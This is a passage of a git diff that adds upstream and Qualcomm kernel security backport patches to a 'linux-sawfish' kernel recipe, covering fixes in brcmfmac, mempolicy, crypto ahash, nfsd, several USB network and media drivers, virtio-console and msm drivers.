+--- + drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c b/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c +index 39b45c038a93..c23d68dbf084 100644 +--- a/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c ++++ b/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c +@@ -4108,6 +4108,11 @@ brcmf_cfg80211_mgmt_tx(struct wiphy *wiphy, struct wireless_dev *wdev, + cfg80211_mgmt_tx_status(wdev, *cookie, buf, len, true, + GFP_KERNEL); + } else if (ieee80211_is_action(mgmt->frame_control)) { ++ if (len > BRCMF_FIL_ACTION_FRAME_SIZE + DOT11_MGMT_HDR_LEN) { ++ brcmf_err("invalid action frame length\n"); ++ err = -EINVAL; ++ goto exit; ++ } + af_params = kzalloc(sizeof(*af_params), GFP_KERNEL); + if (af_params == NULL) { + brcmf_err("unable to allocate frame\n"); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0224-cf01fb9985e8-mmmempolicyc fix error handling in setmempolicy and mbind.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0224-cf01fb9985e8-mmmempolicyc fix error handling in setmempolicy and mbind.patch new file mode 100644 index 0000000..41e7eda --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0224-cf01fb9985e8-mmmempolicyc fix error handling in setmempolicy and mbind.patch @@ -0,0 +1,76 @@ +From cf01fb9985e8deb25ccf0ea54d916b8871ae0e62 Mon Sep 17 00:00:00 2001 +From: Chris Salls +Date: Fri, 7 Apr 2017 23:48:11 -0700 +Subject: mm/mempolicy.c: fix error handling in set_mempolicy and mbind. + +In the case that compat_get_bitmap fails we do not want to copy the +bitmap to the user as it will contain uninitialized stack data and leak +sensitive data. + +Signed-off-by: Chris Salls +Signed-off-by: Linus Torvalds +--- + mm/mempolicy.c | 20 ++++++++------------ + 1 file changed, 8 insertions(+), 12 deletions(-) + +diff --git a/mm/mempolicy.c b/mm/mempolicy.c +index 75b2745bac41..37d0b334bfe9 100644 +--- a/mm/mempolicy.c ++++ b/mm/mempolicy.c +@@ -1529,7 +1529,6 @@ COMPAT_SYSCALL_DEFINE5(get_mempolicy, int __user *, policy, + COMPAT_SYSCALL_DEFINE3(set_mempolicy, int, mode, compat_ulong_t __user *, nmask, + compat_ulong_t, maxnode) + { +- long err = 0; + unsigned long __user *nm = NULL; + unsigned long nr_bits, alloc_size; + DECLARE_BITMAP(bm, MAX_NUMNODES); +@@ -1538,14 +1537,13 @@ COMPAT_SYSCALL_DEFINE3(set_mempolicy, int, mode, compat_ulong_t __user *, nmask, + alloc_size = ALIGN(nr_bits, BITS_PER_LONG) / 8; + + if (nmask) { +- err = compat_get_bitmap(bm, nmask, nr_bits); ++ if (compat_get_bitmap(bm, nmask, nr_bits)) ++ return -EFAULT; + nm = compat_alloc_user_space(alloc_size); +- err |= copy_to_user(nm, bm, alloc_size); ++ if (copy_to_user(nm, bm, alloc_size)) ++ return -EFAULT; + } + +- if (err) +- return -EFAULT; +- + return sys_set_mempolicy(mode, nm, nr_bits+1); + } + +@@ -1553,7 +1551,6 @@ COMPAT_SYSCALL_DEFINE6(mbind, compat_ulong_t, start, compat_ulong_t, len, + compat_ulong_t, mode, compat_ulong_t __user *, nmask, + compat_ulong_t, maxnode, compat_ulong_t, flags) + { +- long err = 0; + unsigned long __user *nm = NULL; + unsigned long nr_bits, alloc_size; + nodemask_t bm; +@@ -1562,14 +1559,13 @@ COMPAT_SYSCALL_DEFINE6(mbind, compat_ulong_t, start, compat_ulong_t, len, + alloc_size = ALIGN(nr_bits, BITS_PER_LONG) / 8; + + if (nmask) { +- err = compat_get_bitmap(nodes_addr(bm), nmask, nr_bits); ++ if (compat_get_bitmap(nodes_addr(bm), nmask, nr_bits)) ++ return -EFAULT; + nm = compat_alloc_user_space(alloc_size); +- err |= copy_to_user(nm, nodes_addr(bm), alloc_size); ++ if (copy_to_user(nm, nodes_addr(bm), alloc_size)) ++ return -EFAULT; + } + +- if (err) +- return -EFAULT; +- + return sys_mbind(start, len, mode, nm, nr_bits+1, flags); + } + +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0225-c2798145e731-crypto ahash Fix EINPROGRESS notification callback.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0225-c2798145e731-crypto ahash Fix EINPROGRESS notification callback.patch new file mode 100644 index 0000000..3041927 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0225-c2798145e731-crypto ahash Fix EINPROGRESS notification callback.patch @@ -0,0 +1,234 @@ +From c2798145e731005fa1e6ee2a489940c1dd8f03e4 Mon Sep 17 00:00:00 2001 +From: Herbert Xu +Date: Mon, 10 Apr 2017 17:27:57 +0800 +Subject: crypto: ahash - Fix EINPROGRESS notification callback + +commit ef0579b64e93188710d48667cb5e014926af9f1b upstream. + +The ahash API modifies the request's callback function in order +to clean up after itself in some corner cases (unaligned final +and missing finup). + +When the request is complete ahash will restore the original +callback and everything is fine. However, when the request gets +an EBUSY on a full queue, an EINPROGRESS callback is made while +the request is still ongoing. + +In this case the ahash API will incorrectly call its own callback. + +This patch fixes the problem by creating a temporary request +object on the stack which is used to relay EINPROGRESS back to +the original completion function. + +This patch also adds code to preserve the original flags value. + +Fixes: ab6bf4e5e5e4 ("crypto: hash - Fix the pointer voodoo in...") +Reported-by: Sabrina Dubroca +Tested-by: Sabrina Dubroca +Signed-off-by: Herbert Xu +Signed-off-by: Greg Kroah-Hartman +--- + crypto/ahash.c | 79 ++++++++++++++++++++++++++---------------- + include/crypto/internal/hash.h | 10 ++++++ + 2 files changed, 60 insertions(+), 29 deletions(-) + +diff --git a/crypto/ahash.c b/crypto/ahash.c +index 46ab9099c330e..a11220e78152a 100644 +--- a/crypto/ahash.c ++++ b/crypto/ahash.c +@@ -31,6 +31,7 @@ struct ahash_request_priv { + crypto_completion_t complete; + void *data; + u8 *result; ++ u32 flags; + void *ubuf[] CRYPTO_MINALIGN_ATTR; + }; + +@@ -269,6 +270,8 @@ static int ahash_save_req(struct ahash_request *req, crypto_completion_t cplt) + priv->result = req->result; + priv->complete = req->base.complete; + priv->data = req->base.data; ++ priv->flags = req->base.flags; ++ + /* + * WARNING: We do not backup req->priv here! The req->priv + * is for internal use of the Crypto API and the +@@ -283,38 +286,44 @@ static int ahash_save_req(struct ahash_request *req, crypto_completion_t cplt) + return 0; + } + +-static void ahash_restore_req(struct ahash_request *req) ++static void ahash_restore_req(struct ahash_request *req, int err) + { + struct ahash_request_priv *priv = req->priv; + ++ if (!err) ++ memcpy(priv->result, req->result, ++ crypto_ahash_digestsize(crypto_ahash_reqtfm(req))); ++ + /* Restore the original crypto request. */ + req->result = priv->result; +- req->base.complete = priv->complete; +- req->base.data = priv->data; ++ ++ ahash_request_set_callback(req, priv->flags, ++ priv->complete, priv->data); + req->priv = NULL; + + /* Free the req->priv.priv from the ADJUSTED request. */ + kzfree(priv); + } + +-static void ahash_op_unaligned_finish(struct ahash_request *req, int err) ++static void ahash_notify_einprogress(struct ahash_request *req) + { + struct ahash_request_priv *priv = req->priv; ++ struct crypto_async_request oreq; + +- if (err == -EINPROGRESS) +- return; +- +- if (!err) +- memcpy(priv->result, req->result, +- crypto_ahash_digestsize(crypto_ahash_reqtfm(req))); ++ oreq.data = priv->data; + +- ahash_restore_req(req); ++ priv->complete(&oreq, -EINPROGRESS); + } + + static void ahash_op_unaligned_done(struct crypto_async_request *req, int err) + { + struct ahash_request *areq = req->data; + ++ if (err == -EINPROGRESS) { ++ ahash_notify_einprogress(areq); ++ return; ++ } ++ + /* + * Restore the original request, see ahash_op_unaligned() for what + * goes where. +@@ -325,7 +334,7 @@ static void ahash_op_unaligned_done(struct crypto_async_request *req, int err) + */ + + /* First copy req->result into req->priv.result */ +- ahash_op_unaligned_finish(areq, err); ++ ahash_restore_req(areq, err); + + /* Complete the ORIGINAL request. */ + areq->base.complete(&areq->base, err); +@@ -341,7 +350,12 @@ static int ahash_op_unaligned(struct ahash_request *req, + return err; + + err = op(req); +- ahash_op_unaligned_finish(req, err); ++ if (err == -EINPROGRESS || ++ (err == -EBUSY && (ahash_request_flags(req) & ++ CRYPTO_TFM_REQ_MAY_BACKLOG))) ++ return err; ++ ++ ahash_restore_req(req, err); + + return err; + } +@@ -376,25 +390,14 @@ int crypto_ahash_digest(struct ahash_request *req) + } + EXPORT_SYMBOL_GPL(crypto_ahash_digest); + +-static void ahash_def_finup_finish2(struct ahash_request *req, int err) ++static void ahash_def_finup_done2(struct crypto_async_request *req, int err) + { +- struct ahash_request_priv *priv = req->priv; ++ struct ahash_request *areq = req->data; + + if (err == -EINPROGRESS) + return; + +- if (!err) +- memcpy(priv->result, req->result, +- crypto_ahash_digestsize(crypto_ahash_reqtfm(req))); +- +- ahash_restore_req(req); +-} +- +-static void ahash_def_finup_done2(struct crypto_async_request *req, int err) +-{ +- struct ahash_request *areq = req->data; +- +- ahash_def_finup_finish2(areq, err); ++ ahash_restore_req(areq, err); + + areq->base.complete(&areq->base, err); + } +@@ -405,11 +408,15 @@ static int ahash_def_finup_finish1(struct ahash_request *req, int err) + goto out; + + req->base.complete = ahash_def_finup_done2; +- req->base.flags &= ~CRYPTO_TFM_REQ_MAY_SLEEP; ++ + err = crypto_ahash_reqtfm(req)->final(req); ++ if (err == -EINPROGRESS || ++ (err == -EBUSY && (ahash_request_flags(req) & ++ CRYPTO_TFM_REQ_MAY_BACKLOG))) ++ return err; + + out: +- ahash_def_finup_finish2(req, err); ++ ahash_restore_req(req, err); + return err; + } + +@@ -417,7 +424,16 @@ static void ahash_def_finup_done1(struct crypto_async_request *req, int err) + { + struct ahash_request *areq = req->data; + ++ if (err == -EINPROGRESS) { ++ ahash_notify_einprogress(areq); ++ return; ++ } ++ ++ areq->base.flags &= ~CRYPTO_TFM_REQ_MAY_SLEEP; ++ + err = ahash_def_finup_finish1(areq, err); ++ if (areq->priv) ++ return; + + areq->base.complete(&areq->base, err); + } +@@ -432,6 +448,11 @@ static int ahash_def_finup(struct ahash_request *req) + return err; + + err = tfm->update(req); ++ if (err == -EINPROGRESS || ++ (err == -EBUSY && (ahash_request_flags(req) & ++ CRYPTO_TFM_REQ_MAY_BACKLOG))) ++ return err; ++ + return ahash_def_finup_finish1(req, err); + } + +diff --git a/include/crypto/internal/hash.h b/include/crypto/internal/hash.h +index 3b4af1d7c7e91..a25414ce2898a 100644 +--- a/include/crypto/internal/hash.h ++++ b/include/crypto/internal/hash.h +@@ -173,6 +173,16 @@ static inline struct ahash_instance *ahash_alloc_instance( + return crypto_alloc_instance2(name, alg, ahash_instance_headroom()); + } + ++static inline void ahash_request_complete(struct ahash_request *req, int err) ++{ ++ req->base.complete(&req->base, err); ++} ++ ++static inline u32 ahash_request_flags(struct ahash_request *req) ++{ ++ return req->base.flags; ++} ++ + static inline struct crypto_ahash *crypto_spawn_ahash( + struct crypto_ahash_spawn *spawn) + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0226-a1552b1c52d9-nfsd check for oversized NFSv2v3 arguments.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0226-a1552b1c52d9-nfsd check for oversized NFSv2v3 arguments.patch new file mode 100644 index 0000000..14d245b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0226-a1552b1c52d9-nfsd check for oversized NFSv2v3 arguments.patch @@ -0,0 +1,105 @@ +From a1552b1c52d9c2ed48b21f722c1bd7f0ffbdb398 Mon Sep 17 00:00:00 2001 +From: "J. Bruce Fields" +Date: Fri, 21 Apr 2017 16:10:18 -0400 +Subject: nfsd: check for oversized NFSv2/v3 arguments +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit e6838a29ecb484c97e4efef9429643b9851fba6e upstream. + +A client can append random data to the end of an NFSv2 or NFSv3 RPC call +without our complaining; we'll just stop parsing at the end of the +expected data and ignore the rest. + +Encoded arguments and replies are stored together in an array of pages, +and if a call is too large it could leave inadequate space for the +reply. This is normally OK because NFS RPC's typically have either +short arguments and long replies (like READ) or long arguments and short +replies (like WRITE). But a client that sends an incorrectly long reply +can violate those assumptions. This was observed to cause crashes. + +Also, several operations increment rq_next_page in the decode routine +before checking the argument size, which can leave rq_next_page pointing +well past the end of the page array, causing trouble later in +svc_free_pages. + +So, following a suggestion from Neil Brown, add a central check to +enforce our expectation that no NFSv2/v3 call has both a large call and +a large reply. + +As followup we may also want to rewrite the encoding routines to check +more carefully that they aren't running off the end of the page array. + +We may also consider rejecting calls that have any extra garbage +appended. That would be safer, and within our rights by spec, but given +the age of our server and the NFS protocol, and the fact that we've +never enforced this before, we may need to balance that against the +possibility of breaking some oddball client. + +Reported-by: Tuomas Haanpää +Reported-by: Ari Kauppi +Reviewed-by: NeilBrown +Signed-off-by: J. Bruce Fields +Signed-off-by: Greg Kroah-Hartman +--- + fs/nfsd/nfssvc.c | 36 ++++++++++++++++++++++++++++++++++++ + 1 file changed, 36 insertions(+) + +diff --git a/fs/nfsd/nfssvc.c b/fs/nfsd/nfssvc.c +index 752d56bbe0ba..a89654bd08c5 100644 +--- a/fs/nfsd/nfssvc.c ++++ b/fs/nfsd/nfssvc.c +@@ -646,6 +646,37 @@ static __be32 map_new_errors(u32 vers, __be32 nfserr) + return nfserr; + } + ++/* ++ * A write procedure can have a large argument, and a read procedure can ++ * have a large reply, but no NFSv2 or NFSv3 procedure has argument and ++ * reply that can both be larger than a page. The xdr code has taken ++ * advantage of this assumption to be a sloppy about bounds checking in ++ * some cases. Pending a rewrite of the NFSv2/v3 xdr code to fix that ++ * problem, we enforce these assumptions here: ++ */ ++static bool nfs_request_too_big(struct svc_rqst *rqstp, ++ struct svc_procedure *proc) ++{ ++ /* ++ * The ACL code has more careful bounds-checking and is not ++ * susceptible to this problem: ++ */ ++ if (rqstp->rq_prog != NFS_PROGRAM) ++ return false; ++ /* ++ * Ditto NFSv4 (which can in theory have argument and reply both ++ * more than a page): ++ */ ++ if (rqstp->rq_vers >= 4) ++ return false; ++ /* The reply will be small, we're OK: */ ++ if (proc->pc_xdrressize > 0 && ++ proc->pc_xdrressize < XDR_QUADLEN(PAGE_SIZE)) ++ return false; ++ ++ return rqstp->rq_arg.len > PAGE_SIZE; ++} ++ + int + nfsd_dispatch(struct svc_rqst *rqstp, __be32 *statp) + { +@@ -658,6 +689,11 @@ nfsd_dispatch(struct svc_rqst *rqstp, __be32 *statp) + rqstp->rq_vers, rqstp->rq_proc); + proc = rqstp->rq_procinfo; + ++ if (nfs_request_too_big(rqstp, proc)) { ++ dprintk("nfsd: NFSv%d argument too large\n", rqstp->rq_vers); ++ *statp = rpc_garbage_args; ++ return 1; ++ } + /* + * Give the xdr decoder a chance to change this if it wants + * (necessary in the NFSv4.0 compound case) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0227-c59f266fa87e-dvbusbv2 avoid useafterfree.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0227-c59f266fa87e-dvbusbv2 avoid useafterfree.patch new file mode 100644 index 0000000..6c0c773 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0227-c59f266fa87e-dvbusbv2 avoid useafterfree.patch @@ -0,0 +1,62 @@ +From c59f266fa87e8413db93040348db33f1995bb2b4 Mon Sep 17 00:00:00 2001 +From: Arnd Bergmann +Date: Thu, 2 Feb 2017 12:36:01 -0200 +Subject: dvb-usb-v2: avoid use-after-free + +commit 005145378c9ad7575a01b6ce1ba118fb427f583a upstream. + +I ran into a stack frame size warning because of the on-stack copy of +the USB device structure: + +drivers/media/usb/dvb-usb-v2/dvb_usb_core.c: In function 'dvb_usbv2_disconnect': +drivers/media/usb/dvb-usb-v2/dvb_usb_core.c:1029:1: error: the frame size of 1104 bytes is larger than 1024 bytes [-Werror=frame-larger-than=] + +Copying a device structure like this is wrong for a number of other reasons +too aside from the possible stack overflow. One of them is that the +dev_info() call will print the name of the device later, but AFAICT +we have only copied a pointer to the name earlier and the actual name +has been freed by the time it gets printed. + +This removes the on-stack copy of the device and instead copies the +device name using kstrdup(). I'm ignoring the possible failure here +as both printk() and kfree() are able to deal with NULL pointers. + +Signed-off-by: Arnd Bergmann +Signed-off-by: Mauro Carvalho Chehab +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/usb/dvb-usb-v2/dvb_usb_core.c | 10 ++++++---- + 1 file changed, 6 insertions(+), 4 deletions(-) + +diff --git a/drivers/media/usb/dvb-usb-v2/dvb_usb_core.c b/drivers/media/usb/dvb-usb-v2/dvb_usb_core.c +index 1950f37df835..d429a6d109f8 100644 +--- a/drivers/media/usb/dvb-usb-v2/dvb_usb_core.c ++++ b/drivers/media/usb/dvb-usb-v2/dvb_usb_core.c +@@ -952,8 +952,9 @@ EXPORT_SYMBOL(dvb_usbv2_probe); + void dvb_usbv2_disconnect(struct usb_interface *intf) + { + struct dvb_usb_device *d = usb_get_intfdata(intf); +- const char *name = d->name; +- struct device dev = d->udev->dev; ++ const char *devname = kstrdup(dev_name(&d->udev->dev), GFP_KERNEL); ++ const char *drvname = d->name; ++ + dev_dbg(&d->udev->dev, "%s: bInterfaceNumber=%d\n", __func__, + intf->cur_altsetting->desc.bInterfaceNumber); + +@@ -962,8 +963,9 @@ void dvb_usbv2_disconnect(struct usb_interface *intf) + + dvb_usbv2_exit(d); + +- dev_info(&dev, "%s: '%s' successfully deinitialized and disconnected\n", +- KBUILD_MODNAME, name); ++ pr_info("%s: '%s:%s' successfully deinitialized and disconnected\n", ++ KBUILD_MODNAME, drvname, devname); ++ kfree(devname); + } + EXPORT_SYMBOL(dvb_usbv2_disconnect); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0228-ae98f9de71a3-virtioconsole avoid DMA from stack.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0228-ae98f9de71a3-virtioconsole avoid DMA from stack.patch new file mode 100644 index 0000000..8241e59 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0228-ae98f9de71a3-virtioconsole avoid DMA from stack.patch @@ -0,0 +1,54 @@ +From ae98f9de71a35fbc0e7164f76cf45c30716749d6 Mon Sep 17 00:00:00 2001 +From: Omar Sandoval +Date: Wed, 1 Feb 2017 00:02:27 -0800 +Subject: virtio-console: avoid DMA from stack + +commit c4baad50297d84bde1a7ad45e50c73adae4a2192 upstream. + +put_chars() stuffs the buffer it gets into an sg, but that buffer may be +on the stack. This breaks with CONFIG_VMAP_STACK=y (for me, it +manifested as printks getting turned into NUL bytes). + +Signed-off-by: Omar Sandoval +Signed-off-by: Michael S. Tsirkin +Reviewed-by: Amit Shah +Cc: Ben Hutchings +Cc: Brad Spengler +Signed-off-by: Greg Kroah-Hartman +--- + drivers/char/virtio_console.c | 12 ++++++++++-- + 1 file changed, 10 insertions(+), 2 deletions(-) + +diff --git a/drivers/char/virtio_console.c b/drivers/char/virtio_console.c +index 2453a9f20d01..5480deb4b895 100644 +--- a/drivers/char/virtio_console.c ++++ b/drivers/char/virtio_console.c +@@ -1129,6 +1129,8 @@ static int put_chars(u32 vtermno, const char *buf, int count) + { + struct port *port; + struct scatterlist sg[1]; ++ void *data; ++ int ret; + + if (unlikely(early_put_chars)) + return early_put_chars(vtermno, buf, count); +@@ -1137,8 +1139,14 @@ static int put_chars(u32 vtermno, const char *buf, int count) + if (!port) + return -EPIPE; + +- sg_init_one(sg, buf, count); +- return __send_to_port(port, sg, 1, count, (void *)buf, false); ++ data = kmemdup(buf, count, GFP_ATOMIC); ++ if (!data) ++ return -ENOMEM; ++ ++ sg_init_one(sg, data, count); ++ ret = __send_to_port(port, sg, 1, count, data, false); ++ kfree(data); ++ return ret; + } + + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0229-90388dcb8faf-pegasus Use heap buffers for all register access.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0229-90388dcb8faf-pegasus Use heap buffers for all register access.patch new file mode 100644 index 0000000..a191adc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0229-90388dcb8faf-pegasus Use heap buffers for all register access.patch @@ -0,0 +1,98 @@ +From 90388dcb8fafea093c373b1509b724df24c2a6e2 Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sat, 4 Feb 2017 16:56:03 +0000 +Subject: pegasus: Use heap buffers for all register access +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 5593523f968bc86d42a035c6df47d5e0979b5ace upstream. + +Allocating USB buffers on the stack is not portable, and no longer +works on x86_64 (with VMAP_STACK enabled as per default). + +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +References: https://bugs.debian.org/852556 +Reported-by: Lisandro Damián Nicanor Pérez Meyer +Tested-by: Lisandro Damián Nicanor Pérez Meyer +Signed-off-by: Ben Hutchings +Signed-off-by: David S. Miller +Cc: Brad Spengler +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/usb/pegasus.c | 29 +++++++++++++++++++++++++---- + 1 file changed, 25 insertions(+), 4 deletions(-) + +diff --git a/drivers/net/usb/pegasus.c b/drivers/net/usb/pegasus.c +index f84080215915..17fac0121e56 100644 +--- a/drivers/net/usb/pegasus.c ++++ b/drivers/net/usb/pegasus.c +@@ -126,40 +126,61 @@ static void async_ctrl_callback(struct urb *urb) + + static int get_registers(pegasus_t *pegasus, __u16 indx, __u16 size, void *data) + { ++ u8 *buf; + int ret; + ++ buf = kmalloc(size, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ + ret = usb_control_msg(pegasus->usb, usb_rcvctrlpipe(pegasus->usb, 0), + PEGASUS_REQ_GET_REGS, PEGASUS_REQT_READ, 0, +- indx, data, size, 1000); ++ indx, buf, size, 1000); + if (ret < 0) + netif_dbg(pegasus, drv, pegasus->net, + "%s returned %d\n", __func__, ret); ++ else if (ret <= size) ++ memcpy(data, buf, ret); ++ kfree(buf); + return ret; + } + +-static int set_registers(pegasus_t *pegasus, __u16 indx, __u16 size, void *data) ++static int set_registers(pegasus_t *pegasus, __u16 indx, __u16 size, ++ const void *data) + { ++ u8 *buf; + int ret; + ++ buf = kmemdup(data, size, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ + ret = usb_control_msg(pegasus->usb, usb_sndctrlpipe(pegasus->usb, 0), + PEGASUS_REQ_SET_REGS, PEGASUS_REQT_WRITE, 0, +- indx, data, size, 100); ++ indx, buf, size, 100); + if (ret < 0) + netif_dbg(pegasus, drv, pegasus->net, + "%s returned %d\n", __func__, ret); ++ kfree(buf); + return ret; + } + + static int set_register(pegasus_t *pegasus, __u16 indx, __u8 data) + { ++ u8 *buf; + int ret; + ++ buf = kmemdup(&data, 1, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ + ret = usb_control_msg(pegasus->usb, usb_sndctrlpipe(pegasus->usb, 0), + PEGASUS_REQ_SET_REG, PEGASUS_REQT_WRITE, data, +- indx, &data, 1, 1000); ++ indx, buf, 1, 1000); + if (ret < 0) + netif_dbg(pegasus, drv, pegasus->net, + "%s returned %d\n", __func__, ret); ++ kfree(buf); + return ret; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0230-86da423abff5-rtl8150 Use heap buffers for all register access.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0230-86da423abff5-rtl8150 Use heap buffers for all register access.patch new file mode 100644 index 0000000..6e58060 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0230-86da423abff5-rtl8150 Use heap buffers for all register access.patch @@ -0,0 +1,70 @@ +From 86da423abff5709d07960c9d3ff3f1def1dd2fe6 Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sat, 4 Feb 2017 16:56:32 +0000 +Subject: rtl8150: Use heap buffers for all register access + +commit 7926aff5c57b577ab0f43364ff0c59d968f6a414 upstream. + +Allocating USB buffers on the stack is not portable, and no longer +works on x86_64 (with VMAP_STACK enabled as per default). + +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +Signed-off-by: Ben Hutchings +Signed-off-by: David S. Miller +Cc: Brad Spengler +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/usb/rtl8150.c | 34 +++++++++++++++++++++++++++------- + 1 file changed, 27 insertions(+), 7 deletions(-) + +diff --git a/drivers/net/usb/rtl8150.c b/drivers/net/usb/rtl8150.c +index 6e87e5710048..eab8fba1f8c9 100644 +--- a/drivers/net/usb/rtl8150.c ++++ b/drivers/net/usb/rtl8150.c +@@ -155,16 +155,36 @@ static const char driver_name [] = "rtl8150"; + */ + static int get_registers(rtl8150_t * dev, u16 indx, u16 size, void *data) + { +- return usb_control_msg(dev->udev, usb_rcvctrlpipe(dev->udev, 0), +- RTL8150_REQ_GET_REGS, RTL8150_REQT_READ, +- indx, 0, data, size, 500); ++ void *buf; ++ int ret; ++ ++ buf = kmalloc(size, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ ++ ret = usb_control_msg(dev->udev, usb_rcvctrlpipe(dev->udev, 0), ++ RTL8150_REQ_GET_REGS, RTL8150_REQT_READ, ++ indx, 0, buf, size, 500); ++ if (ret > 0 && ret <= size) ++ memcpy(data, buf, ret); ++ kfree(buf); ++ return ret; + } + +-static int set_registers(rtl8150_t * dev, u16 indx, u16 size, void *data) ++static int set_registers(rtl8150_t * dev, u16 indx, u16 size, const void *data) + { +- return usb_control_msg(dev->udev, usb_sndctrlpipe(dev->udev, 0), +- RTL8150_REQ_SET_REGS, RTL8150_REQT_WRITE, +- indx, 0, data, size, 500); ++ void *buf; ++ int ret; ++ ++ buf = kmemdup(data, size, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ ++ ret = usb_control_msg(dev->udev, usb_sndctrlpipe(dev->udev, 0), ++ RTL8150_REQ_SET_REGS, RTL8150_REQT_WRITE, ++ indx, 0, buf, size, 500); ++ kfree(buf); ++ return ret; + } + + static void async_set_reg_cb(struct urb *urb) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0231.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0231.diff new file mode 100644 index 0000000..9d612dd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0231.diff @@ -0,0 +1,19 @@ +diff --git a/drivers/soc/qcom/pil-msa.c b/drivers/soc/qcom/pil-msa.c +index 7a12c32..895a999 100644 +--- a/drivers/soc/qcom/pil-msa.c ++++ b/drivers/soc/qcom/pil-msa.c +@@ -595,6 +595,14 @@ + + /* Load the MBA image into memory */ + count = fw->size; ++ ++ if (count > SZ_1M) { ++ dev_err(pil->dev, "%s fw image loading into memory is failed due to fw size overflow\n", ++ __func__); ++ ret = -EINVAL; ++ goto err_mba_data; ++ } ++ + memcpy(mba_dp_virt, data, count); + /* Ensure memcpy of the MBA memory is done before loading the DP */ + wmb(); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0232-84f8c42e5d84-msm camera Allow driver file to be opend only once.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0232-84f8c42e5d84-msm camera Allow driver file to be opend only once.patch new file mode 100644 index 0000000..b733730 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0232-84f8c42e5d84-msm camera Allow driver file to be opend only once.patch @@ -0,0 +1,35 @@ +From 84f8c42e5d848b1d04f49d253f98296e8c2280b9 Mon Sep 17 00:00:00 2001 +From: Trishansh Bhardwaj +Date: Fri, 7 Apr 2017 11:16:29 +0530 +Subject: msm: camera: Allow driver file to be opend only once. + +Use proper synchronization to ensure driver file is opened +only once. + +CRs-Fixed: 2023513 +Change-Id: I71e55e2d487fe561d3f596590b3e8102c5e921b5 +Signed-off-by: Trishansh Bhardwaj +--- + drivers/media/platform/msm/camera_v2/msm.c | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/msm.c b/drivers/media/platform/msm/camera_v2/msm.c +index c2b42a8..d8bdef5 100644 +--- a/drivers/media/platform/msm/camera_v2/msm.c ++++ b/drivers/media/platform/msm/camera_v2/msm.c +@@ -1012,11 +1012,9 @@ static int msm_open(struct file *filep) + BUG_ON(!pvdev); + + /* !!! only ONE open is allowed !!! */ +- if (atomic_read(&pvdev->opened)) ++ if (atomic_cmpxchg(&pvdev->opened, 0, 1)) + return -EBUSY; + +- atomic_set(&pvdev->opened, 1); +- + spin_lock_irqsave(&msm_pid_lock, flags); + msm_pid = get_pid(task_pid(current)); + spin_unlock_irqrestore(&msm_pid_lock, flags); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0233-42627c94cf8c-msm mdss fix race condition during mdp debugfs release.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0233-42627c94cf8c-msm mdss fix race condition during mdp debugfs release.patch new file mode 100644 index 0000000..508dd35 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0233-42627c94cf8c-msm mdss fix race condition during mdp debugfs release.patch @@ -0,0 +1,52 @@ +From 42627c94cf8c189332a6f5bfdd465ea662777911 Mon Sep 17 00:00:00 2001 +From: Harsh Sahu +Date: Thu, 13 Apr 2017 15:38:46 -0700 +Subject: msm: mdss: fix race condition during mdp debugfs release + +Fix race condition in the 